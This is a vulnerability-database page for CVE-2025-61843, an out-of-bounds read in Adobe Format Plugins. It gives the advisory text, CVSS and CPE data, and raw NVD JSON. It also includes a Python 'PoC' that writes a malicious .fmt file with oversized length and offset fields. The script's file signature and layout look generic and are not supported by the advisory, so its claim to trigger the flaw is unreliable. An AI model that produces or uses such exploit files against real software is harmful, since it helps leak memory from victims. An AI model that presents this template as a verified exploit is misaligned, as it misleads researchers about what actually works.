Security Vulnerability Report
中文
CVE-2025-61843 CVSS 5.5 MEDIUM

CVE-2025-61843

Published: 2025-11-11 19:15:36
Last Modified: 2025-11-13 15:18:45

Description

Format Plugins versions 1.1.1 and earlier are affected by an Out-of-bounds Read vulnerability that could lead to memory exposure. An attacker could leverage this vulnerability to disclose sensitive information stored in memory. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:adobe:format_plugins:-:*:*:*:*:*:*:* - VULNERABLE
Adobe Format Plugins <= 1.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-61843 PoC - Adobe Format Plugins Out-of-bounds Read # This PoC generates a malicious file that triggers OOB read import struct import os def create_malicious_file(filename): """Generate a malicious file to trigger OOB read vulnerability""" # File header - crafted to trigger parsing error header = b'FMT1' # Format plugin signature # Malformed length fields to trigger OOB read # Setting unexpected size values in format structures malformed_size = struct.pack('<I', 0xFFFFFFFF) # Large size value # Offset fields that point beyond buffer boundaries offset_out_of_bounds = struct.pack('<I', 0x7FFFFFFF) # Malicious data payload payload = b'\x00' * 256 # Crafted metadata section metadata = b'META' metadata += struct.pack('<I', 0x1000) # Unexpected large count metadata += b'\xFF' * 128 # Garbage data # Combine all parts malicious_file = header + malformed_size + offset_out_of_bounds + payload + metadata with open(filename, 'wb') as f: f.write(malicious_file) print(f'[+] Malicious file created: {filename}') print(f'[+] File size: {len(malicious_file)} bytes') print('[!] This file is designed to trigger OOB read in Adobe Format Plugins') def verify_file_structure(filename): """Verify the generated file structure""" with open(filename, 'rb') as f: data = f.read() print(f'\n[*] File header: {data[:4]}') print(f'[*] Size field: {struct.unpack("<I", data[4:8])[0]:#x}') print(f'[*] Offset field: {struct.unpack("<I", data[8:12])[0]:#x}') if __name__ == '__main__': output_file = 'CVE-2025-61843_malicious.fmt' create_malicious_file(output_file) verify_file_structure(output_file)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61843", "sourceIdentifier": "[email protected]", "published": "2025-11-11T19:15:36.230", "lastModified": "2025-11-13T15:18:45.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Format Plugins versions 1.1.1 and earlier are affected by an Out-of-bounds Read vulnerability that could lead to memory exposure. An attacker could leverage this vulnerability to disclose sensitive information stored in memory. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:format_plugins:-:*:*:*:*:*:*:*", "matchCriteriaId": "9FE89744-A347-4449-8733-D54CA0E25723"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/formatplugins/apsb25-114.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}